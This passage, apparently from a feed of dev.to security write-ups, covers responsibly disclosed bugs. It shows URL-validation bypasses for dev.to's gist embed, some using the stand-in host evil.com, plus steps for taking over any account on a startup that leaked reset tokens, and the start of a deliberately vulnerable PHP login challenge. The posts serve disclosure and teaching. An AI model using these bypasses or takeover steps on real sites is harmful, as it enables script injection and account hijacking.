&lt;p&gt;Once the dev.team was notified, they quickly released &lt;a href="https://github.com/thepracticaldev/dev.to/blob/b1f6587a3a3f49ae04dd3b0811e412c02d336672/app/liquid_tags/gist_tag.rb"&gt;a patch&lt;/a&gt; by updating the &lt;code&gt;valid_link&lt;/code&gt; function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;valid_link?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;link&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;link&lt;/span&gt; &lt;span class="o"&gt;=~&lt;/span&gt; &lt;span class="sr"&gt;/(http|https):\/\/(gist.github.com).*/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;zero?&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Bypass 1
&lt;/h2&gt;

&lt;p&gt;This patch ensured that the given link started with &lt;code&gt;http[s]://gist.github.com&lt;/code&gt;.&lt;br&gt;
While better than the previous validation, this is still not sufficient to protect against attacks!&lt;/p&gt;

&lt;p&gt;The following two domains would pass this validation, but still load an external script:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gist.github.com@evil.com/" rel="noopener noreferrer"&gt;https://gist.github.com@evil.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://gist.github.com.evil.com/" rel="noopener noreferrer"&gt;http://gist.github.com.evil.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The first one uses the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme" rel="noopener noreferrer"&gt;Basic Authentication Scheme&lt;/a&gt; and sends &lt;code&gt;gist.github.com&lt;/code&gt; as username to the &lt;code&gt;evil.com&lt;/code&gt; website.  &lt;/p&gt;

&lt;p&gt;The second one is simply a subdomain of &lt;code&gt;evil.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This issue was quickly fixed by adding a required trailing slash after &lt;code&gt;gist.github.com&lt;/code&gt;, which correctly mitigates this issue.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;valid_link?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;link&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;link&lt;/span&gt; &lt;span class="o"&gt;=~&lt;/span&gt; &lt;span class="sr"&gt;/^(http(s)?:)?\/\/(gist.github.com)\/.*/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;zero?&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Bypass 2
&lt;/h2&gt;

&lt;p&gt;The previous patch made sure that the domain requested was &lt;code&gt;gist.github.com&lt;/code&gt;, which is great!&lt;br&gt;&lt;br&gt;
But there still was a bypass possible due to the nature of the website.&lt;/p&gt;

&lt;p&gt;When viewing raw gist files, in this case &lt;a href="https://gist.github.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab" rel="noopener noreferrer"&gt;poc.js&lt;/a&gt;, the raw link is from the following format: &lt;code&gt;https://gist.githubusercontent.com/[name]/[gistid]/raw/[fileid]/[filename.ext]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;When replacing the domain &lt;code&gt;gist.githubusercontent.com&lt;/code&gt; with &lt;code&gt;gist.github.com&lt;/code&gt;, we are actually redirected to the original &lt;code&gt;githubusercontent.com&lt;/code&gt; domain!&lt;br&gt;
This means that the raw file &lt;code&gt;poc.js&lt;/code&gt; from my gist can be accessed from:&lt;br&gt;
    - &lt;a href="https://gist.githubusercontent.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js" rel="noopener noreferrer"&gt;https://gist.githubusercontent.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js&lt;/a&gt;&lt;br&gt;
    - &lt;a href="https://gist.github.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js" rel="noopener noreferrer"&gt;https://gist.github.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Notice the domain on the second URL: &lt;strong&gt;gist.github.com&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This correctly bypasses the given patch as the raw file would be served from the &lt;strong&gt;gist.github.com&lt;/strong&gt; domain.&lt;/p&gt;

&lt;p&gt;The patch was successfully applied earlier today, by forcing the given gist to a more strict regex: &lt;a href="https://github.com/thepracticaldev/dev.to/commit/b99566afb397106fedc97ce53d5496a038e4e0c5"&gt;Commit&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;valid_link?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;link&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;link&lt;/span&gt; &lt;span class="o"&gt;=~&lt;/span&gt; &lt;span class="sr"&gt;/^https\:\/\/gist\.github\.com\/([a-zA-Z0-9\-]){1,39}\/([a-zA-Z0-9]){32}\s/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;
      &lt;span class="nf"&gt;zero?&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;After disclosing the original bug, following the &lt;a href="https://dev.to/security"&gt;dev.to bug bounty program&lt;/a&gt;, the dev team was quick to react and patch those bugs.&lt;br&gt;
I managed to earn myself a place in the security hall of fame, a sweet 150$ bounty and a &lt;a href="https://shop.dev.to/collections/frontpage/products/sticker-pack"&gt;pack of stickers&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;By having the source code available and a bug bounty program, many more people will scan the websites for issues, which makes the website more secure.&lt;/p&gt;

&lt;p&gt;Finally, the overall experience has been great!&lt;br&gt;
I would strongly recommend everyone to checkout the source code, report bugs and security issues you find and submit pull requests improving the general security of the website.&lt;/p&gt;

&lt;p&gt;If you're looking for somewhere to start, your first commit could be as simple as &lt;a href="https://github.com/thepracticaldev/dev.to/commit/e7a0911b81fad8851a2168aa5ad479ff3350a5d3"&gt;replacing http links with https&lt;/a&gt;!&lt;/p&gt;

</description>
      <category>security</category>
      <category>writeup</category>
      <category>xss</category>
    </item>
    <item>
      <title>From data leak to account takeover</title>
      <dc:creator>Antony Garand</dc:creator>
      <pubDate>Tue, 07 Aug 2018 14:02:48 +0000</pubDate>
      <link>https://dev.to/antogarand/from-data-leak-to-account-takeover-1kck</link>
      <guid>https://dev.to/antogarand/from-data-leak-to-account-takeover-1kck</guid>
      <description>&lt;h1&gt;
  
  
  Introduction
&lt;/h1&gt;

&lt;p&gt;While browsing the web, I ended up finding a startup which recently launched its product. Like any normal person, I decided to perform a security audit to hopefully find vulnerabilities!&lt;/p&gt;

&lt;p&gt;In this post, I will write about the journey, from the initial leak of my account information to complete arbitrary account takeover.&lt;/p&gt;

&lt;p&gt;For the purpose of this post, all identifiable information was replaced with mocked data.&lt;/p&gt;

&lt;h1&gt;
  
  
  Information leak
&lt;/h1&gt;

&lt;p&gt;When accessing the app for the first time, you could create an account.&lt;br&gt;
Creating an account did let you access your own profile, which contains few typical profile fields such as a name, email and profile picture.  &lt;/p&gt;

&lt;p&gt;The fields visible on the screen are not the only ones returned by the api though.&lt;br&gt;
When initially loading the page, a GET request would be made to the api to access our user information.&lt;br&gt;
This endpoint, &lt;code&gt;/api/user&lt;/code&gt;, would also return what I believe is the whole stored document, including its private information.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;user&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;_id&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;UUID&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;My Name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;role&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Other&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;email&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;test@email.invalid&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;emailVerified&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;emailVerificationToken&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;t3gauljva4dbu8zyn1xp6u&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;password&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;$2a$10$HsQX/kYcnyly.oaykq5RxuC/IOrpSOVQnaPM18.NNxfkU/AFYaTzG&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;signupDate&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;2018-07-11T20:39:31.070Z&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;teamInfo&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Already, you can see that the password hash is beeing leaked, which is quite the security issue!&lt;br&gt;&lt;br&gt;
Leaking the hash lets hackers attempt to validate the password on their own machines, without any rate limits or logging mechanism in place. This makes it easier to bruteforce and impossible to detect!&lt;/p&gt;
&lt;h1&gt;
  
  
  Email validation
&lt;/h1&gt;

&lt;p&gt;From the previous information leak, you may have noticed the &lt;code&gt;emailVerificationToken&lt;/code&gt; key on the user object.&lt;br&gt;&lt;br&gt;
Having access to this token means I could validate any email, as long as I have access to the validation URL and the leaked token.&lt;/p&gt;

&lt;p&gt;To try this out, I changed out the email for a valid one and received a genuine email validation link:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;Thanks for signing up! To complete the sign-up process, please click the link below to verify your email:
https://app.sample.com/verify/1234tokenhere
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that I have the email validation link, I changed my email to one I did not control, such as &lt;code&gt;admin@application.com&lt;/code&gt;.&lt;br&gt;&lt;br&gt;
Once my user profile updated, all I had to do was leak the new email token and verify my new email!&lt;/p&gt;
&lt;h1&gt;
  
  
  Password recovery
&lt;/h1&gt;

&lt;p&gt;When forgetting your password, a typical scenario is to enter your email, which then receives a password reset link.&lt;br&gt;
From this password reset link, you can enter an arbitrary new password, and log into your account!&lt;/p&gt;

&lt;p&gt;This application is not different, although it did not correctly protect its password reset tokens!&lt;br&gt;&lt;br&gt;
While the field was not present in the previously returned JSON, I did notice it was added when I triggered the first password reset request.&lt;br&gt;&lt;br&gt;
Like with the email verification link, I could therefore craft a valid password reset link myself!&lt;/p&gt;
&lt;h1&gt;
  
  
  Teams
&lt;/h1&gt;

&lt;p&gt;Until now, all we could do was only affecting our own user. Fortunately, looking closely at the previously leaked information, one may notice there is not only our own information returned, but also our team information!&lt;br&gt;&lt;br&gt;
We can create and manage teams from the application, and all of the team data will be leaked as well.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;user&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;teamInfo&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;owner&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Sample team&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;admins&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;members&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The interesting part of the team leak is regarding the owner and members fields.&lt;br&gt;&lt;br&gt;
When being added into a team, I could therefore leak the team owner and all of its member's password reset tokens!&lt;br&gt;&lt;br&gt;
But this still limits the scope of the attack to members of our team, and we can do better than this.&lt;/p&gt;

&lt;p&gt;When owning a team, we can invite team members via their emails, and there is no confirmation required from the invited user.    &lt;/p&gt;

&lt;p&gt;This means that as a newly registered user, I can perform the following steps to overtake any account:  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Perform a password change request for my target&lt;/li&gt;
&lt;li&gt;Create a new team&lt;/li&gt;
&lt;li&gt;Invite my target&lt;/li&gt;
&lt;li&gt;Leak the password reset token via my team information&lt;/li&gt;
&lt;li&gt;Change my victim's password&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As well as change and validate a new invalid email for this user, which would lock them out of their account.&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;It is easy to send too much data to our front-end, but we need to be cautious about the sensible information which is stored.&lt;br&gt;
In this case, giving out too much information about a user led to a complete account takeover!&lt;/p&gt;

</description>
      <category>security</category>
      <category>writeup</category>
    </item>
    <item>
      <title>SQL: Where spaces may not matter</title>
      <dc:creator>Antony Garand</dc:creator>
      <pubDate>Sat, 28 Jul 2018 20:51:55 +0000</pubDate>
      <link>https://dev.to/antogarand/sql-where-spaces-may-not-matter-5dn6</link>
      <guid>https://dev.to/antogarand/sql-where-spaces-may-not-matter-5dn6</guid>
      <description>&lt;h1&gt;
  
  
  Introduction
&lt;/h1&gt;

&lt;p&gt;Here is the source to a voluntarily vulnerable application:&lt;br&gt;&lt;br&gt;
&lt;a href="https://gitlab.com/AntonyGarand/pwn_fix_repeat_size_does_matter"&gt;https://gitlab.com/AntonyGarand/pwn_fix_repeat_size_does_matter&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It will soon be added as a challenge on the &lt;a href="https://pwnfixrepe.at/challenges.html"&gt;pwnfixrepe.at&lt;/a&gt; website, where you can work on fixing such security issues.&lt;/p&gt;

&lt;p&gt;Your mission, if you accept it, is to login as administrator on the application.&lt;/p&gt;

&lt;p&gt;If you wish to skip to the details, head to the &lt;code&gt;solution&lt;/code&gt; section.&lt;/p&gt;


&lt;h1&gt;
  
  
  Application
&lt;/h1&gt;

&lt;p&gt;The application itself is quite simple.&lt;br&gt;&lt;br&gt;
There are three features: Log in, log out and register.&lt;/p&gt;

&lt;p&gt;Here is what the table look likes: (&lt;a href="https://gitlab.com/AntonyGarand/pwn_fix_repeat_size_does_matter/blob/master/setup.sql"&gt;Source&lt;/a&gt;)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="nv"&gt;`users`&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nv"&gt;`id`&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;PRIMARY&lt;/span&gt; &lt;span class="k"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nv"&gt;`username`&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nv"&gt;`password`&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nv"&gt;`description`&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;ENGINE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;InnoDB&lt;/span&gt; &lt;span class="k"&gt;DEFAULT&lt;/span&gt; &lt;span class="n"&gt;CHARSET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;utf8mb4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="nv"&gt;`users`&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;`id`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`username`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`password`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`description`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'$up3rS3cr3tP4$$w0rd!'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'You are admin!'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All of those features are using prepared statements and are not vulnerable to SQL injection, such as with the following login function: (&lt;a href="https://gitlab.com/AntonyGarand/pwn_fix_repeat_size_does_matter/blob/master/functions.php"&gt;Source&lt;/a&gt;)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="nv"&gt;$db&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="cm"&gt;/* user or pass empty or not string */&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$db&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'SELECT * FROM users WHERE username = :username and password = :password'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;bindParam&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;':username'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;bindParam&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;':password'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'pass'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$_SESSION&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Logged in succesfully!'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Invalid credentials!'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, if the current user is logged in, we show a greeting message:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;/* if current user is logged in */ 
{ ?&amp;gt;
    &lt;span class="nt"&gt;&amp;lt;div&amp;gt;&lt;/span&gt;
        Welcome back, &lt;span class="cp"&gt;&amp;lt;?=&lt;/span&gt; &lt;span class="nb"&gt;htmlspecialchars&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$currentUser&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;!&lt;span class="nt"&gt;&amp;lt;br/&amp;gt;&lt;/span&gt;
